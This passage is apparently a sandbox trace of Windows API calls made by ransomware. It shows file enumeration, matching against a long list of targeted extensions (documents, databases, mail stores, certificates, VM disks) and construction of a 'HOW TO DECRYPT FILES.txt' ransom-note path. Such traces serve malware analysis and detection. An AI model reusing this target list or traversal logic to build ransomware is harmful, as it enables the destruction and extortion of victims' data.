pszSpec="*.mbox") returned 0 [0120.534] lstrlenA (lpString="*.mbox") returned 6 [0120.534] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.eml") returned 0 [0120.534] lstrlenA (lpString="*.eml") returned 5 [0120.534] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.pst") returned 0 [0120.534] lstrlenA (lpString="*.pst") returned 5 [0120.534] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.ost") returned 0 [0120.534] lstrlenA (lpString="*.ost") returned 5 [0120.534] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.idx") returned 0 [0120.534] lstrlenA (lpString="*.idx") returned 5 [0120.534] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.dbx") returned 0 [0120.534] lstrlenA (lpString="*.dbx") returned 5 [0120.534] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.sql") returned 0 [0120.534] lstrlenA (lpString="*.sql") returned 5 [0120.534] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.mdb") returned 0 [0120.534] lstrlenA (lpString="*.mdb") returned 5 [0120.535] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.fdb") returned 0 [0120.535] lstrlenA (lpString="*.fdb") returned 5 [0120.535] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.wab") returned 0 [0120.535] lstrlenA (lpString="*.wab") returned 5 [0120.535] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.dat") returned 0 [0120.535] lstrlenA (lpString="*.dat") returned 5 [0120.535] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.txt") returned 0 [0120.535] lstrlenA (lpString="*.txt") returned 5 [0120.535] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.jpeg") returned 0 [0120.535] lstrlenA (lpString="*.jpeg") returned 6 [0120.535] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.jpg") returned 0 [0120.535] lstrlenA (lpString="*.jpg") returned 5 [0120.535] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.png") returned 0 [0120.535] lstrlenA (lpString="*.png") returned 5 [0120.535] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.php") returned 0 [0120.535] lstrlenA (lpString="*.php") returned 5 [0120.535] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.cs") returned 0 [0120.536] lstrlenA (lpString="*.cs") returned 4 [0120.536] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.cpp") returned 0 [0120.536] lstrlenA (lpString="*.cpp") returned 5 [0120.536] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.rar") returned 0 [0120.536] lstrlenA (lpString="*.rar") returned 5 [0120.536] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.zip") returned 0 [0120.536] lstrlenA (lpString="*.zip") returned 5 [0120.536] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.html") returned 0 [0120.536] lstrlenA (lpString="*.html") returned 6 [0120.536] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.htm") returned 0 [0120.536] lstrlenA (lpString="*.htm") returned 5 [0120.536] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.xlsx") returned 0 [0120.536] lstrlenA (lpString="*.xlsx") returned 6 [0120.536] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.xls") returned 0 [0120.536] lstrlenA (lpString="*.xls") returned 5 [0120.536] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.mp4") returned 0 [0120.536] lstrlenA (lpString="*.mp4") returned 5 [0120.537] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.ppt") returned 0 [0120.537] lstrlenA (lpString="*.ppt") returned 5 [0120.537] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.pptx") returned 0 [0120.537] lstrlenA (lpString="*.pptx") returned 6 [0120.537] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.doc") returned 0 [0120.537] lstrlenA (lpString="*.doc") returned 5 [0120.537] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.dot") returned 0 [0120.537] lstrlenA (lpString="*.dot") returned 5 [0120.537] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.docx") returned 0 [0120.537] lstrlenA (lpString="*.docx") returned 6 [0120.537] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.7z") returned 0 [0120.537] lstrlenA (lpString="*.7z") returned 4 [0120.537] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.tar") returned 0 [0120.537] lstrlenA (lpString="*.tar") returned 5 [0120.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.bz2") returned 0 [0120.538] lstrlenA (lpString="*.bz2") returned 5 [0120.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.gz") returned 0 [0120.538] lstrlenA (lpString="*.gz") returned 4 [0120.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.mkv") returned 0 [0120.538] lstrlenA (lpString="*.mkv") returned 5 [0120.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.eml") returned 0 [0120.538] lstrlenA (lpString="*.eml") returned 5 [0120.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.msg") returned 0 [0120.538] lstrlenA (lpString="*.msg") returned 5 [0120.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.edb") returned 0 [0120.538] lstrlenA (lpString="*.edb") returned 5 [0120.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.accdb") returned 0 [0120.538] lstrlenA (lpString="*.accdb") returned 7 [0120.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.odb") returned 0 [0120.538] lstrlenA (lpString="*.odb") returned 5 [0120.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.java") returned 0 [0120.538] lstrlenA (lpString="*.java") returned 6 [0120.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.asm") returned 0 [0120.539] lstrlenA (lpString="*.asm") returned 5 [0120.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.pfx") returned 0 [0120.539] lstrlenA (lpString="*.pfx") returned 5 [0120.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.pem") returned 0 [0120.539] lstrlenA (lpString="*.pem") returned 5 [0120.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.p12") returned 0 [0120.539] lstrlenA (lpString="*.p12") returned 5 [0120.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.gpg") returned 0 [0120.539] lstrlenA (lpString="*.gpg") returned 5 [0120.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.vsd") returned 0 [0120.539] lstrlenA (lpString="*.vsd") returned 5 [0120.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.odg") returned 0 [0120.539] lstrlenA (lpString="*.odg") returned 5 [0120.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.raw") returned 0 [0120.539] lstrlenA (lpString="*.raw") returned 5 [0120.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.nef") returned 0 [0120.539] lstrlenA (lpString="*.nef") returned 5 [0120.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.svg") returned 0 [0120.540] lstrlenA (lpString="*.svg") returned 5 [0120.540] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.psd") returned 0 [0120.540] lstrlenA (lpString="*.psd") returned 5 [0120.540] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.vmx") returned 0 [0120.540] lstrlenA (lpString="*.vmx") returned 5 [0120.540] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.vmdk") returned 0 [0120.540] lstrlenA (lpString="*.vmdk") returned 6 [0120.540] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.vdi") returned 0 [0120.540] lstrlenA (lpString="*.vdi") returned 5 [0120.540] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.lay6") returned 0 [0120.540] lstrlenA (lpString="*.lay6") returned 6 [0120.540] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.mpeg") returned 0 [0120.540] lstrlenA (lpString="*.mpeg") returned 6 [0120.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.djvu") returned 0 [0120.541] lstrlenA (lpString="*.djvu") returned 6 [0120.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.tiff") returned 0 [0120.541] lstrlenA (lpString="*.tiff") returned 6 [0120.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.backup") returned 0 [0120.541] lstrlenA (lpString="*.backup") returned 8 [0120.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.pdf") returned 0 [0120.541] lstrlenA (lpString="*.pdf") returned 5 [0120.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.cert") returned 0 [0120.541] lstrlenA (lpString="*.cert") returned 6 [0120.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.docm") returned 0 [0120.541] lstrlenA (lpString="*.docm") returned 6 [0120.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.xlsm") returned 0 [0120.541] lstrlenA (lpString="*.xlsm") returned 6 [0120.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.dwg") returned 0 [0120.541] lstrlenA (lpString="*.dwg") returned 5 [0120.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.nd") returned 0 [0120.542] lstrlenA (lpString="*.nd") returned 4 [0120.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.tlg") returned 0 [0120.542] lstrlenA (lpString="*.tlg") returned 5 [0120.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.lgb") returned 0 [0120.542] lstrlenA (lpString="*.lgb") returned 5 [0120.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.mov") returned 0 [0120.542] lstrlenA (lpString="*.mov") returned 5 [0120.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.xdw") returned 0 [0120.542] lstrlenA (lpString="*.xdw") returned 5 [0120.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.ods") returned 0 [0120.542] lstrlenA (lpString="*.ods") returned 5 [0120.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.wav") returned 0 [0120.542] lstrlenA (lpString="*.wav") returned 5 [0120.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.mp3") returned 0 [0120.542] lstrlenA (lpString="*.mp3") returned 5 [0120.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.aiff") returned 0 [0120.543] lstrlenA (lpString="*.aiff") returned 6 [0120.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.flac") returned 0 [0120.543] lstrlenA (lpString="*.flac") returned 6 [0120.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.m4a") returned 0 [0120.543] lstrlenA (lpString="*.m4a") returned 5 [0120.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll", pszSpec="*.csv") returned 0 [0120.544] lstrlenA (lpString="*.csv") returned 5 [0120.544] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9fd2b90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9fd2b90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9fd2b90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x138, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Reflection.Context.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.544] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.544] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Reflection.Context.ni.dll.aux") returned -1 [0120.544] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Reflection.Context.ni.dll.aux") returned -1 [0120.544] lstrcmpiA (lpString1="", lpString2="System.Reflection.Context.ni.dll.aux") returned -1 [0120.544] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll") returned="System.Reflection.Context.ni.dll" [0120.544] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\" [0120.544] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\") returned="" [0120.545] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\HOW TO DECRYPT FILES.txt" [0120.545] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\how to decrypt files.txt")) returned 0x20 [0120.545] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\", lpString2="System.Reflection.Context.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux" [0120.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.545] lstrlenA (lpString="*.ems") returned 5 [0120.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.db") returned 0 [0120.545] lstrlenA (lpString="*.db") returned 4 [0120.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.dbf") returned 0 [0120.545] lstrlenA (lpString="*.dbf") returned 5 [0120.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.myox") returned 0 [0120.545] lstrlenA (lpString="*.myox") returned 6 [0120.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.myo") returned 0 [0120.545] lstrlenA (lpString="*.myo") returned 5 [0120.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.qbw") returned 0 [0120.546] lstrlenA (lpString="*.qbw") returned 5 [0120.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.qbb") returned 0 [0120.546] lstrlenA (lpString="*.qbb") returned 5 [0120.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.qbm") returned 0 [0120.546] lstrlenA (lpString="*.qbm") returned 5 [0120.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.qbo") returned 0 [0120.546] lstrlenA (lpString="*.qbo") returned 5 [0120.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.qbx") returned 0 [0120.546] lstrlenA (lpString="*.qbx") returned 5 [0120.546] PathMatchSpecA 